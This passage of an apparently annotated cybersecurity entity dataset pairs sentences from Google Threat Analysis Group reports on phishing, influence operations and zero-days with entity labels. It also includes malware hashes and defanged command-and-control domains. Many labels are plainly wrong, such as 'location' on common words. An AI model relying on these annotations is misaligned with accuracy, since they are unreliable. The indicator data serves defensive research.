Backdoor.Win32.REMCOS.USMANEAGFG Troj.Win32.TRX.XXPE50FFF034 3f40d4a0d0fe1eea58fa1c71308431b5c2ce6e381cacc7291e501f4eed57bfd2 Trojan.MSIL.AGENTTESLA.THCOCBO N\/A ab533d6ca0c2be8860a0f7fbfc7820ffd595edc63e540ff4c5991808da6a257d Trojan.X97M.CVE201711882.THCOCBO N\/A b78a3d21325d3db7470fbf1a6d254e23d349531fca4d7f458b33ca93c91e61cd Backdoor.Win32.REMCOS.USMANEAGFE Troj.Win32.TRX.XXPE50FFF034 c9c0180eba2a712f1aba1303b90cbf12c1117451ce13b68715931abc437b10cd TrojanSpy.Win32.FAREIT.UHBAZCLIZ Troj.Win32.TRX.XXPE50FFF034 C&C addresses Bambinos[.]bounceme[.]net bbtt[.]site bbtt[.]space harpa[.]site harpa[.]space harpa[.]website himym[.]site kristoffer[.]hopto[.]org kristom[.]hopto[.]org miragena[.]site miragena[.]xyz papir[.]hopto[.]org sabdja[.]3utilities[.]com sakira[.]3utilities[.]com seliconos[.]3utilities[.]com solod[.]bounceme[.]net sonik[.]hopto[.]org tele[.]3utilities[.]com violina[.]website voyager[.]myftp[.]biz voyaget[.]myftp[.]biz Mitre ATT&CK Framework Tags Malware | APT & Targeted Attacks | Research | Spam | Articles, News, Reports","entities":[{"id":21240,"label":"SHA1","start_offset":65,"end_offset":129},{"id":21241,"label":"MD5","start_offset":154,"end_offset":218},{"id":21242,"label":"SHA1","start_offset":246,"end_offset":310},{"id":21243,"label":"SHA1","start_offset":331,"end_offset":395},{"id":21244,"label":"SHA1","start_offset":420,"end_offset":484},{"id":21245,"label":"SHA1","start_offset":512,"end_offset":576},{"id":21246,"label":"SHA2","start_offset":604,"end_offset":668},{"id":21247,"label":"SHA2","start_offset":696,"end_offset":760},{"id":21248,"label":"MD5","start_offset":788,"end_offset":852},{"id":21249,"label":"location","start_offset":885,"end_offset":888},{"id":21250,"label":"SHA2","start_offset":923,"end_offset":987},{"id":21251,"label":"SHA2","start_offset":1034,"end_offset":1098},{"id":21252,"label":"SHA2","start_offset":1112,"end_offset":1176},{"id":21253,"label":"SHA2","start_offset":1190,"end_offset":1254},{"id":21254,"label":"SHA2","start_offset":1268,"end_offset":1332},{"id":21255,"label":"MD5","start_offset":1346,"end_offset":1410},{"id":21256,"label":"SHA2","start_offset":1424,"end_offset":1488},{"id":21257,"label":"SHA1","start_offset":1512,"end_offset":1576},{"id":21258,"label":"SHA1","start_offset":1634,"end_offset":1698},{"id":21259,"label":"SHA1","start_offset":1765,"end_offset":1829},{"id":21260,"label":"SHA2","start_offset":1867,"end_offset":1931},{"id":21261,"label":"SHA1","start_offset":1998,"end_offset":2062},{"id":21262,"label":"SHA1","start_offset":2124,"end_offset":2188},{"id":21263,"label":"SHA2","start_offset":2224,"end_offset":2288},{"id":21264,"label":"SHA2","start_offset":2326,"end_offset":2390},{"id":21265,"label":"SHA2","start_offset":2452,"end_offset":2516},{"id":21266,"label":"location","start_offset":3060,"end_offset":3063}],"relations":[],"Comments":[]} {"id":6829,"text":"On any given day, Google's Threat Analysis Group (TAG) is tracking more than 270 targeted or government-backed attacker groups from more than 50 countries.","entities":[],"relations":[],"Comments":[]} {"id":6830,"text":"Our team of analysts and security experts is focused on identifying and stopping issues like phishing campaigns, zero-day vulnerabilities and hacking against Google, our products and our users.","entities":[{"id":21272,"label":"location","start_offset":21,"end_offset":24},{"id":21273,"label":"location","start_offset":25,"end_offset":33},{"id":21274,"label":"location","start_offset":68,"end_offset":71},{"id":21275,"label":"attack-pattern","start_offset":93,"end_offset":101},{"id":21277,"label":"location","start_offset":138,"end_offset":141},{"id":21279,"label":"location","start_offset":179,"end_offset":182}],"relations":[],"Comments":[]} {"id":6831,"text":"Today, we’re sharing recent findings on government-backed phishing, threats and disinformation, as well as a new bulletin to share information about actions we take against accounts that we attribute to coordinated influence campaigns.","entities":[{"id":21281,"label":"attack-pattern","start_offset":58,"end_offset":66},{"id":21282,"label":"location","start_offset":76,"end_offset":79}],"relations":[],"Comments":[]} {"id":6832,"text":"Last month, we sent 1,755 warnings to users whose accounts were targets of government-backed attackers.","entities":[],"relations":[],"Comments":[]} {"id":6833,"text":"Generally, 2020 has been dominated by COVID-19.","entities":[],"relations":[],"Comments":[]} -{"id":6834,"text":"The pandemic has taken center stage in people’s everyday lives, in the international news media, and in the world of government-backed hacking.","entities":[{"id":21286,"label":"location","start_offset":23,"end_offset":29},{"id":21287,"label":"location","start_offset":71,"end_offset":84},{"id":21288,"label":"location","start_offset":90,"end_offset":95},{"id":21289,"label":"location","start_offset":97,"end_offset":100},{"id":21290,"label":"location","start_offset":108,"end_offset":113}],"relations":[],"Comments":[]} -{"id":6835,"text":"Recently, we shared information on numerous COVID-themed attacks discovered and confirmed by our teams.","entities":[{"id":21291,"label":"location","start_offset":76,"end_offset":79}],"relations":[],"Comments":[]} -{"id":6836,"text":"We continue to see attacks from groups like Charming Kitten on medical and healthcare professionals, including World Health Organization (WHO) employees.","entities":[{"id":21293,"label":"location","start_offset":71,"end_offset":74}],"relations":[],"Comments":[]} {"id":6837,"text":"And as others have reported, we’re seeing a resurgence in COVID-related hacking and phishing attempts from numerous commercial and government-backed attackers.","entities":[{"id":21296,"label":"location","start_offset":0,"end_offset":3},{"id":21297,"label":"location","start_offset":80,"end_offset":83},{"id":21298,"label":"attack-pattern","start_offset":84,"end_offset":92},{"id":21299,"label":"location","start_offset":127,"end_offset":130}],"relations":[],"Comments":[]} -{"id":6838,"text":"As one example, we've seen new activity from “hack-for-hire” firms, many based in India, that have been creating Gmail accounts spoofing the WHO.","entities":[{"id":21301,"label":"location","start_offset":46,"end_offset":50},{"id":21302,"label":"location","start_offset":61,"end_offset":66},{"id":21303,"label":"location","start_offset":68,"end_offset":72}],"relations":[],"Comments":[]} -{"id":6839,"text":"The accounts have largely targeted business leaders in financial services, consulting, and healthcare corporations within numerous countries including, the U.S., Slovenia, Canada, India, Bahrain, Cyprus, and the UK.","entities":[{"id":21306,"label":"location","start_offset":87,"end_offset":90},{"id":21313,"label":"location","start_offset":204,"end_offset":207}],"relations":[],"Comments":[]} -{"id":6840,"text":"The lures themselves encourage individuals to sign up for direct notifications from the WHO to stay informed of COVID-19 related announcements, and link to attacker-hosted websites that bear a strong resemblance to the official WHO website.","entities":[{"id":21316,"label":"location","start_offset":144,"end_offset":147},{"id":21317,"label":"location","start_offset":186,"end_offset":190},{"id":21318,"label":"location","start_offset":193,"end_offset":199}],"relations":[],"Comments":[]} -{"id":6841,"text":"The sites typically feature fake login pages that prompt potential victims to give up their Google account credentials, and occasionally encourage individuals to give up other personal information, such as their phone numbers.","entities":[{"id":21320,"label":"location","start_offset":4,"end_offset":9},{"id":21321,"label":"location","start_offset":78,"end_offset":82},{"id":21323,"label":"location","start_offset":120,"end_offset":123},{"id":21324,"label":"location","start_offset":162,"end_offset":166}],"relations":[],"Comments":[]} {"id":6842,"text":"To help protect users against these kinds of tracks, our Advanced Protection Program (APP) utilizes hardware security keys and provides the strongest protections available against phishing and account hijackings.","entities":[{"id":21325,"label":"location","start_offset":66,"end_offset":76},{"id":21326,"label":"location","start_offset":109,"end_offset":117},{"id":21327,"label":"location","start_offset":123,"end_offset":126},{"id":21328,"label":"attack-pattern","start_offset":180,"end_offset":188},{"id":21329,"label":"location","start_offset":189,"end_offset":192}],"relations":[],"Comments":[]} {"id":6843,"text":"APP was designed specifically for high-risk accounts.","entities":[],"relations":[],"Comments":[]} -{"id":6844,"text":"Government-backed or state-sponsored groups have different goals in carrying out their attacks: Some are looking to collect intelligence or steal intellectual property; others are targeting dissidents or activists, or attempting to engage in coordinated influence operations and disinformation campaigns.","entities":[{"id":21330,"label":"location","start_offset":101,"end_offset":104},{"id":21331,"label":"location","start_offset":176,"end_offset":179},{"id":21332,"label":"location","start_offset":275,"end_offset":278}],"relations":[],"Comments":[]} {"id":6845,"text":"Our products are designed with robust built-in security features, like Gmail protections against phishing and Safe Browsing in Chrome, but we still dedicate significant resources to developing new tools and technology to help identify, track and stop this kind of activity.","entities":[{"id":21333,"label":"location","start_offset":13,"end_offset":16},{"id":21334,"label":"location","start_offset":47,"end_offset":55},{"id":21336,"label":"attack-pattern","start_offset":97,"end_offset":105},{"id":21337,"label":"location","start_offset":106,"end_offset":109},{"id":21338,"label":"threat-actor","start_offset":110,"end_offset":114},{"id":21339,"label":"location","start_offset":203,"end_offset":206},{"id":21340,"label":"location","start_offset":242,"end_offset":245},{"id":21341,"label":"location","start_offset":246,"end_offset":250}],"relations":[],"Comments":[]} -{"id":6846,"text":"In addition to our internal investigations, we work with law enforcement, industry partners, and third parties like specialized security firms to assess and share intelligence.","entities":[{"id":21342,"label":"location","start_offset":57,"end_offset":60},{"id":21343,"label":"location","start_offset":74,"end_offset":82},{"id":21344,"label":"location","start_offset":93,"end_offset":96},{"id":21346,"label":"location","start_offset":128,"end_offset":136},{"id":21347,"label":"location","start_offset":137,"end_offset":142},{"id":21348,"label":"location","start_offset":153,"end_offset":156}],"relations":[],"Comments":[]} -{"id":6847,"text":"When we find attempts to conduct coordinated influence operations on our platforms, we work with our Trust & Safety teams to swiftly remove such content from our platforms and terminate these actors’ accounts.","entities":[{"id":21350,"label":"location","start_offset":145,"end_offset":152},{"id":21351,"label":"location","start_offset":172,"end_offset":175}],"relations":[],"Comments":[]} -{"id":6848,"text":"We take steps to prevent possible future attempts by the same actors, and routinely exchange information and share our findings with others in the industry.","entities":[{"id":21352,"label":"location","start_offset":57,"end_offset":61},{"id":21353,"label":"location","start_offset":70,"end_offset":73},{"id":21354,"label":"location","start_offset":84,"end_offset":92},{"id":21355,"label":"location","start_offset":105,"end_offset":108},{"id":21356,"label":"location","start_offset":147,"end_offset":155}],"relations":[],"Comments":[]} -{"id":6849,"text":"We’ve also shared occasional updates about this kind of activity, and today we’re introducing a more streamlined way of doing this via a new, quarterly bulletin to share information about actions we take against accounts that we attribute to coordinated influence campaigns (foreign and domestic).","entities":[{"id":21357,"label":"location","start_offset":66,"end_offset":69},{"id":21359,"label":"location","start_offset":113,"end_offset":116},{"id":21361,"label":"location","start_offset":283,"end_offset":286},{"id":21362,"label":"location","start_offset":287,"end_offset":295}],"relations":[],"Comments":[]} -{"id":6850,"text":"Our actions against coordinated influence operations from January, February and March can be found in the Q1 Bulletin.","entities":[{"id":21365,"label":"location","start_offset":76,"end_offset":79},{"id":21367,"label":"location","start_offset":86,"end_offset":89}],"relations":[],"Comments":[]} -{"id":6851,"text":"Since March, we’ve removed more than a thousand YouTube channels that we believe to be part of a large campaign and that were behaving in a coordinated manner.","entities":[{"id":21372,"label":"location","start_offset":97,"end_offset":102},{"id":21373,"label":"location","start_offset":103,"end_offset":111},{"id":21374,"label":"location","start_offset":112,"end_offset":115}],"relations":[],"Comments":[]} -{"id":6852,"text":"These channels were mostly uploading spammy, non-political content, but a small subset posted primarily Chinese-language political content similar to the findings of a recent Graphika report.","entities":[{"id":21375,"label":"location","start_offset":59,"end_offset":66},{"id":21376,"label":"location","start_offset":74,"end_offset":79},{"id":21378,"label":"location","start_offset":131,"end_offset":138}],"relations":[],"Comments":[]} -{"id":6853,"text":"We’ll also share additional removal actions from April and May in the Q2 Bulletin.","entities":[{"id":21381,"label":"location","start_offset":55,"end_offset":58}],"relations":[],"Comments":[]} -{"id":6854,"text":"Our hope is that this new bulletin helps others who are also working to track these groups, such as researchers studying this issue, and we hope these updates can help confirm findings from security firms and others in the industry.","entities":[{"id":21384,"label":"location","start_offset":4,"end_offset":8},{"id":21385,"label":"location","start_offset":52,"end_offset":55},{"id":21386,"label":"location","start_offset":126,"end_offset":131},{"id":21387,"label":"location","start_offset":133,"end_offset":136},{"id":21388,"label":"location","start_offset":140,"end_offset":144},{"id":21389,"label":"location","start_offset":159,"end_offset":162},{"id":21390,"label":"location","start_offset":190,"end_offset":198},{"id":21391,"label":"location","start_offset":199,"end_offset":204},{"id":21392,"label":"location","start_offset":205,"end_offset":208},{"id":21393,"label":"location","start_offset":223,"end_offset":231}],"relations":[],"Comments":[]} {"id":6855,"text":"We will also continue to share more detailed analysis of vulnerabilities we find, phishing and malware campaigns that we see, and other interesting or noteworthy trends across this space.","entities":[{"id":21394,"label":"location","start_offset":3,"end_offset":7},{"id":21395,"label":"attack-pattern","start_offset":82,"end_offset":90},{"id":21396,"label":"location","start_offset":91,"end_offset":94},{"id":21397,"label":"location","start_offset":126,"end_offset":129}],"relations":[],"Comments":[]} {"id":6856,"text":"This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q1 of 2020.","entities":[],"relations":[],"Comments":[]} {"id":6857,"text":"It was last updated on May 27, 2020.","entities":[],"relations":[],"Comments":[]} {"id":6858,"text":"We terminated 3 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Iran.","entities":[],"relations":[],"Comments":[]} -{"id":6859,"text":"The campaign was linked to the Iranian state-sponsored International Union of Virtual Media (IUVM) network, and was reproducing IUVM content covering Iran’s strikes into Iraq and U.S. policy on oil.","entities":[{"id":21403,"label":"location","start_offset":4,"end_offset":12},{"id":21407,"label":"location","start_offset":108,"end_offset":111},{"id":21409,"label":"location","start_offset":133,"end_offset":140},{"id":21412,"label":"location","start_offset":175,"end_offset":178},{"id":21414,"label":"location","start_offset":194,"end_offset":197}],"relations":[],"Comments":[]} {"id":6860,"text":"We received leads from Graphika that supported us in this investigation.","entities":[],"relations":[],"Comments":[]} -{"id":6861,"text":"We terminated 1 advertising account and 82 YouTube channels as part of our actions against a coordinated influence operation linked to Egypt.","entities":[{"id":21417,"label":"location","start_offset":36,"end_offset":39}],"relations":[],"Comments":[]} -{"id":6862,"text":"The campaign was sharing political content in Arabic supportive of Saudi Arabia, the UAE, Egypt, and Bahrain and critical of Iran and Qatar.","entities":[{"id":21421,"label":"location","start_offset":4,"end_offset":12},{"id":21422,"label":"location","start_offset":35,"end_offset":42},{"id":21427,"label":"location","start_offset":97,"end_offset":100},{"id":21429,"label":"location","start_offset":109,"end_offset":112},{"id":21431,"label":"location","start_offset":130,"end_offset":133}],"relations":[],"Comments":[]} -{"id":6863,"text":"We found evidence of this campaign being tied to the digital marketing firm New Waves based in Cairo.","entities":[{"id":21433,"label":"location","start_offset":26,"end_offset":34}],"relations":[],"Comments":[]} -{"id":6864,"text":"This campaign was consistent with similar findings reported by Facebook.","entities":[{"id":21436,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]} -{"id":6865,"text":"We terminated 3 advertising accounts, 1 AdSense account, and 11 YouTube channels as part of our actions against a coordinated influence operation linked to India.","entities":[{"id":21441,"label":"location","start_offset":57,"end_offset":60}],"relations":[],"Comments":[]} -{"id":6866,"text":"The campaign was sharing messages in English supportive of Qatar.","entities":[{"id":21445,"label":"location","start_offset":4,"end_offset":12}],"relations":[],"Comments":[]} -{"id":6867,"text":"This campaign was consistent with similar findings reported by Facebook.","entities":[{"id":21448,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]} -{"id":6868,"text":"We banned 1 Play developer and terminated 68 YouTube channels as part of our actions against a coordinated influence operation.","entities":[{"id":21451,"label":"location","start_offset":27,"end_offset":30}],"relations":[],"Comments":[]} -{"id":6869,"text":"The campaign was posting political content in Arabic supportive of Turkey and critical of the UAE and Yemen.","entities":[{"id":21454,"label":"location","start_offset":4,"end_offset":12},{"id":21455,"label":"location","start_offset":35,"end_offset":42},{"id":21458,"label":"location","start_offset":74,"end_offset":77},{"id":21460,"label":"location","start_offset":98,"end_offset":101}],"relations":[],"Comments":[]} -{"id":6870,"text":"This campaign was consistent with similar findings reported by Twitter.","entities":[{"id":21462,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]} -{"id":6871,"text":"We terminated 1 advertising account, 1 AdSense account, 17 YouTube channels and banned 1 Play developer as part of our actions against a coordinated influence operation linked to Egypt.","entities":[{"id":21469,"label":"location","start_offset":76,"end_offset":79}],"relations":[],"Comments":[]} -{"id":6872,"text":"The campaign was posting political content in Arabic supportive of Saudi Arabia, the UAE, Egypt, and Bahrain and critical of Iran and Qatar.","entities":[{"id":21472,"label":"location","start_offset":4,"end_offset":12},{"id":21473,"label":"location","start_offset":35,"end_offset":42},{"id":21478,"label":"location","start_offset":97,"end_offset":100},{"id":21480,"label":"location","start_offset":109,"end_offset":112},{"id":21482,"label":"location","start_offset":130,"end_offset":133}],"relations":[],"Comments":[]} -{"id":6873,"text":"This campaign was consistent with similar findings reported by Twitter.","entities":[{"id":21484,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]} -{"id":6874,"text":"We banned 1 Play developer and terminated 78 YouTube channels as part of our actions against a coordinated influence operation linked to Serbia.","entities":[{"id":21487,"label":"location","start_offset":27,"end_offset":30}],"relations":[],"Comments":[]} -{"id":6875,"text":"The domestic campaign was posting pro-Serbian political content.","entities":[{"id":21491,"label":"location","start_offset":4,"end_offset":12},{"id":21492,"label":"location","start_offset":13,"end_offset":21},{"id":21494,"label":"location","start_offset":56,"end_offset":63}],"relations":[],"Comments":[]} -{"id":6876,"text":"This campaign was consistent with similar findings reported by Twitter.","entities":[{"id":21495,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]} {"id":6877,"text":"Google’s Threat Analysis Group (TAG) is a specialized team of security experts that works to identify, report, and stop government-backed phishing and hacking against Google and the people who use our products.","entities":[{"id":21499,"label":"location","start_offset":62,"end_offset":70},{"id":21500,"label":"location","start_offset":111,"end_offset":114},{"id":21501,"label":"location","start_offset":115,"end_offset":119},{"id":21502,"label":"attack-pattern","start_offset":138,"end_offset":146},{"id":21503,"label":"location","start_offset":147,"end_offset":150},{"id":21505,"label":"location","start_offset":174,"end_offset":177}],"relations":[],"Comments":[]} -{"id":6878,"text":"We work across Google products to identify new vulnerabilities and threats.","entities":[{"id":21507,"label":"location","start_offset":63,"end_offset":66}],"relations":[],"Comments":[]} -{"id":6879,"text":"Today we’re sharing our latest findings and the threats we’re seeing in relation to COVID-19.","entities":[{"id":21509,"label":"location","start_offset":40,"end_offset":43}],"relations":[],"Comments":[]} {"id":6880,"text":"One notable campaign attempted to target personal accounts of U.S. government employees with phishing lures using American fast food franchises and COVID-19 messaging.","entities":[{"id":21511,"label":"location","start_offset":12,"end_offset":20},{"id":21512,"label":"location","start_offset":34,"end_offset":40},{"id":21514,"label":"attack-pattern","start_offset":93,"end_offset":101},{"id":21516,"label":"location","start_offset":144,"end_offset":147}],"relations":[],"Comments":[]} -{"id":6881,"text":"Some messages offered free meals and coupons in response to COVID-19, others suggested recipients visit sites disguised as online ordering and delivery options.","entities":[{"id":21517,"label":"location","start_offset":33,"end_offset":36},{"id":21518,"label":"location","start_offset":104,"end_offset":109},{"id":21519,"label":"location","start_offset":139,"end_offset":142}],"relations":[],"Comments":[]} {"id":6882,"text":"Once people clicked on the emails, they were presented with phishing pages designed to trick them into providing their Google account credentials.","entities":[{"id":21520,"label":"attack-pattern","start_offset":60,"end_offset":68},{"id":21521,"label":"location","start_offset":93,"end_offset":97}],"relations":[],"Comments":[]} {"id":6883,"text":"The vast majority of these messages were sent to spam without any user ever seeing them, and we were able to preemptively block the domains using Safe Browsing.","entities":[{"id":21523,"label":"tools","start_offset":4,"end_offset":8},{"id":21524,"label":"location","start_offset":71,"end_offset":75},{"id":21525,"label":"location","start_offset":83,"end_offset":87},{"id":21526,"label":"location","start_offset":89,"end_offset":92}],"relations":[],"Comments":[]} -{"id":6884,"text":"We’re not aware of any user having their account compromised by this campaign, but as usual, we notify all targeted users with a “government-backed attacker” warning.","entities":[{"id":21528,"label":"location","start_offset":69,"end_offset":77}],"relations":[],"Comments":[]} {"id":6885,"text":"We’ve also seen attackers try to trick people into downloading malware by impersonating health organizations: Generally, we’re not seeing an overall rise in phishing attacks by government-backed groups; this is just a change in tactics.","entities":[{"id":21529,"label":"location","start_offset":141,"end_offset":148},{"id":21530,"label":"attack-pattern","start_offset":157,"end_offset":165},{"id":21531,"label":"identity","start_offset":211,"end_offset":215}],"relations":[],"Comments":[]} -{"id":6886,"text":"In fact, we saw a slight decrease in overall volumes in March compared to January and February.","entities":[{"id":21532,"label":"location","start_offset":37,"end_offset":44},{"id":21535,"label":"location","start_offset":82,"end_offset":85}],"relations":[],"Comments":[]} {"id":6887,"text":"While it’s not unusual to see some fluctuations in these numbers, it could be that attackers, just like many other organizations, are experiencing productivity lags and issues due to global lockdowns and quarantine efforts.","entities":[{"id":21537,"label":"identity","start_offset":94,"end_offset":98},{"id":21538,"label":"location","start_offset":104,"end_offset":108},{"id":21539,"label":"location","start_offset":130,"end_offset":133},{"id":21540,"label":"location","start_offset":165,"end_offset":168},{"id":21541,"label":"location","start_offset":200,"end_offset":203}],"relations":[],"Comments":[]} -{"id":6888,"text":"When working to identify and prevent threats, we use a combination of internal investigative tools, information sharing with industry partners and law enforcement, as well as leads and intelligence from third-party researchers.","entities":[{"id":21542,"label":"location","start_offset":25,"end_offset":28},{"id":21543,"label":"location","start_offset":125,"end_offset":133},{"id":21544,"label":"location","start_offset":143,"end_offset":146},{"id":21545,"label":"location","start_offset":147,"end_offset":150},{"id":21546,"label":"location","start_offset":181,"end_offset":184}],"relations":[],"Comments":[]} -{"id":6889,"text":"To help support this broader security researcher community, Google is providing more than $200,000 in grants as part of a new Vulnerability Research Grant COVID-19 fund for Google VRP researchers who help identify various vulnerabilities.","entities":[{"id":21547,"label":"location","start_offset":29,"end_offset":37},{"id":21548,"label":"location","start_offset":49,"end_offset":58},{"id":21551,"label":"location","start_offset":102,"end_offset":108},{"id":21552,"label":"location","start_offset":149,"end_offset":154}],"relations":[],"Comments":[]} -{"id":6890,"text":"As the world continues to respond to COVID-19, we expect to see new lures and schemes.","entities":[{"id":21554,"label":"location","start_offset":7,"end_offset":12},{"id":21555,"label":"location","start_offset":74,"end_offset":77}],"relations":[],"Comments":[]} -{"id":6891,"text":"Our teams continue to track these and stop them before they reach people—and we’ll continue to share new and interesting findings.","entities":[{"id":21556,"label":"location","start_offset":34,"end_offset":37},{"id":21557,"label":"location","start_offset":38,"end_offset":42},{"id":21558,"label":"location","start_offset":43,"end_offset":47},{"id":21559,"label":"location","start_offset":73,"end_offset":76},{"id":21560,"label":"location","start_offset":105,"end_offset":108}],"relations":[],"Comments":[]} -{"id":6892,"text":" Google’s Threat Analysis Group (TAG) works to counter targeted and government-backed hacking against Google and the people who use our products.","entities":[{"id":21563,"label":"location","start_offset":64,"end_offset":67},{"id":21565,"label":"location","start_offset":109,"end_offset":112}],"relations":[],"Comments":[]} {"id":6893,"text":"Following our November update, today we’re sharing the latest insights to fight phishing, and for security teams, providing more details about our work identifying attacks against zero-day vulnerabilities.","entities":[{"id":21568,"label":"attack-pattern","start_offset":80,"end_offset":88},{"id":21569,"label":"location","start_offset":90,"end_offset":93},{"id":21570,"label":"location","start_offset":98,"end_offset":106}],"relations":[],"Comments":[]} {"id":6894,"text":" We have a long-standing policy to send you a warning if we detect that your account is a target of government-backed phishing or malware attempts.","entities":[{"id":21572,"label":"location","start_offset":11,"end_offset":15},{"id":21573,"label":"location","start_offset":90,"end_offset":96},{"id":21574,"label":"attack-pattern","start_offset":118,"end_offset":126}],"relations":[],"Comments":[]} {"id":6895,"text":"In 2019, we sent almost 40,000 warnings, a nearly 25 percent drop from 2018.","entities":[],"relations":[],"Comments":[]} -{"id":6896,"text":"One reason for this decline is that our new protections are working—attackers' efforts have been slowed down and they’re more deliberate in their attempts, meaning attempts are happening less frequently as attackers adapt.","entities":[{"id":21580,"label":"location","start_offset":56,"end_offset":59},{"id":21581,"label":"location","start_offset":109,"end_offset":112},{"id":21582,"label":"location","start_offset":173,"end_offset":176}],"relations":[],"Comments":[]} {"id":6897,"text":" We’ve detected a few emerging trends in recent months.","entities":[],"relations":[],"Comments":[]} {"id":6898,"text":"Upon reviewing phishing attempts since the beginning of this year, we’ve seen a rising number of attackers, including those from Iran and North Korea, impersonating news outlets or journalists.","entities":[{"id":21584,"label":"attack-pattern","start_offset":15,"end_offset":23},{"id":21587,"label":"location","start_offset":134,"end_offset":137}],"relations":[],"Comments":[]} {"id":6899,"text":"For example, attackers impersonate a journalist to seed false stories with other reporters to spread disinformation.","entities":[],"relations":[],"Comments":[]} -{"id":6900,"text":"In other cases, attackers will send several benign emails to build a rapport with a journalist or foreign policy expert before sending a malicious attachment in a follow up email.","entities":[{"id":21589,"label":"location","start_offset":26,"end_offset":30}],"relations":[],"Comments":[]} -{"id":6901,"text":"Government-backed attackers regularly target foreign policy experts for their research, access to the organizations they work with, and connection to fellow researchers or policymakers for subsequent attacks.","entities":[{"id":21590,"label":"location","start_offset":38,"end_offset":44},{"id":21591,"label":"location","start_offset":132,"end_offset":135}],"relations":[],"Comments":[]} -{"id":6902,"text":"Government-backed attackers continue to consistently target geopolitical rivals, government officials, journalists, dissidents and activists.","entities":[{"id":21592,"label":"location","start_offset":53,"end_offset":59},{"id":21593,"label":"location","start_offset":127,"end_offset":130}],"relations":[],"Comments":[]} {"id":6903,"text":"The chart below details the Russian threat actor group SANDWORM’s targeting efforts (by sector) over the last three years.","entities":[],"relations":[],"Comments":[]} {"id":6904,"text":"In 2019, one in five accounts that received a warning was targeted multiple times by attackers.","entities":[],"relations":[],"Comments":[]} -{"id":6905,"text":"If at first the attacker does not succeed, they’ll try again using a different lure, different account, or trying to compromise an associate of their target.","entities":[{"id":21601,"label":"location","start_offset":79,"end_offset":83},{"id":21602,"label":"location","start_offset":150,"end_offset":156}],"relations":[],"Comments":[]} -{"id":6906,"text":"We’ve yet to see people successfully phished if they participate in Google’s Advanced Protection Program (APP), even if they are repeatedly targeted.","entities":[{"id":21604,"label":"location","start_offset":86,"end_offset":96},{"id":21605,"label":"location","start_offset":125,"end_offset":128}],"relations":[],"Comments":[]} {"id":6907,"text":"APP provides the strongest protections available against phishing and account hijacking and is specifically designed for the highest-risk accounts.","entities":[{"id":21606,"label":"attack-pattern","start_offset":57,"end_offset":65},{"id":21607,"label":"location","start_offset":66,"end_offset":69},{"id":21608,"label":"location","start_offset":88,"end_offset":91}],"relations":[],"Comments":[]} -{"id":6908,"text":"Zero-day vulnerabilities are unknown software flaws.","entities":[{"id":21610,"label":"location","start_offset":25,"end_offset":28}],"relations":[],"Comments":[]} -{"id":6909,"text":"Until they’re identified and fixed, they can be exploited by attackers.","entities":[{"id":21611,"label":"location","start_offset":25,"end_offset":28},{"id":21612,"label":"location","start_offset":41,"end_offset":44}],"relations":[],"Comments":[]} -{"id":6910,"text":"TAG actively hunts for these types of attacks because they are particularly dangerous and have a high rate of success, although they account for a small number of the overall total.","entities":[{"id":21613,"label":"location","start_offset":59,"end_offset":62},{"id":21614,"label":"location","start_offset":86,"end_offset":89},{"id":21615,"label":"location","start_offset":110,"end_offset":117},{"id":21616,"label":"location","start_offset":147,"end_offset":152},{"id":21617,"label":"location","start_offset":167,"end_offset":174}],"relations":[],"Comments":[]} -{"id":6911,"text":"When we find an attack that takes advantage of a zero-day vulnerability, we report the vulnerability to the vendor and give them seven days to patch or produce an advisory or we release an advisory ourselves.","entities":[{"id":21619,"label":"location","start_offset":109,"end_offset":115},{"id":21620,"label":"location","start_offset":116,"end_offset":119},{"id":21621,"label":"location","start_offset":120,"end_offset":124},{"id":21622,"label":"location","start_offset":125,"end_offset":129}],"relations":[],"Comments":[]} -{"id":6912,"text":"We work across all platforms, and in 2019 TAG discovered zero-day vulnerabilities affecting Android, Chrome, iOS, Internet Explorer and Windows.","entities":[{"id":21624,"label":"location","start_offset":30,"end_offset":33},{"id":21628,"label":"location","start_offset":132,"end_offset":135}],"relations":[],"Comments":[]} -{"id":6913,"text":"Most recently, TAG was acknowledged in January 2020 for our contribution in identifying CVE-2020-0674, a remote code execution vulnerability in Internet Explorer.","entities":[{"id":21629,"label":"location","start_offset":0,"end_offset":4},{"id":21631,"label":"location","start_offset":105,"end_offset":111}],"relations":[],"Comments":[]} {"id":6914,"text":"Last year, TAG discovered that a single threat actor was capitalizing on five zero-day vulnerabilities.","entities":[],"relations":[],"Comments":[]} -{"id":6915,"text":"Finding this many zero-day exploits from the same actor in a relatively short time frame is rare.","entities":[{"id":21635,"label":"location","start_offset":13,"end_offset":17},{"id":21637,"label":"location","start_offset":45,"end_offset":49},{"id":21638,"label":"location","start_offset":72,"end_offset":77},{"id":21639,"label":"location","start_offset":78,"end_offset":82},{"id":21640,"label":"location","start_offset":83,"end_offset":88}],"relations":[],"Comments":[]} {"id":6916,"text":"The exploits were delivered via compromised legitimate websites (e.g. watering hole attacks), links to malicious websites, and email attachments in limited spear phishing campaigns.","entities":[{"id":21641,"label":"location","start_offset":79,"end_offset":83},{"id":21642,"label":"location","start_offset":123,"end_offset":126},{"id":21643,"label":"attack-pattern","start_offset":156,"end_offset":170}],"relations":[],"Comments":[]} {"id":6917,"text":"The majority of targets we observed were from North Korea or individuals who worked on North Korea-related issues.","entities":[],"relations":[],"Comments":[]} -{"id":6918,"text":"For security teams interested in learning more, here are additional details about the exploits and our work in 2019:","entities":[{"id":21646,"label":"location","start_offset":4,"end_offset":12},{"id":21647,"label":"location","start_offset":53,"end_offset":56},{"id":21648,"label":"location","start_offset":95,"end_offset":98}],"relations":[],"Comments":[]} {"id":6919,"text":"The vulnerabilities underlying these exploits included: Internet Explorer - CVE-2018-8653 Internet Explorer - CVE-2019-0676 Chrome - CVE-2019-5786 Windows Kernel - CVE-2019-0808 Internet Explorer - CVE-2019-1367 Internet Explorer - CVE-2019-1429","entities":[],"relations":[],"Comments":[]} -{"id":6920,"text":"The following technical details are associated with the exploits and can be used for teams interested in conducting further research on these attacks: CVE-2018-8653, CVE-2019-1367 and CVE-2020-0674 are vulnerabilities inside jscript.dll, therefore all exploits enabled IE8 rendering and used JScript.Compact as JS 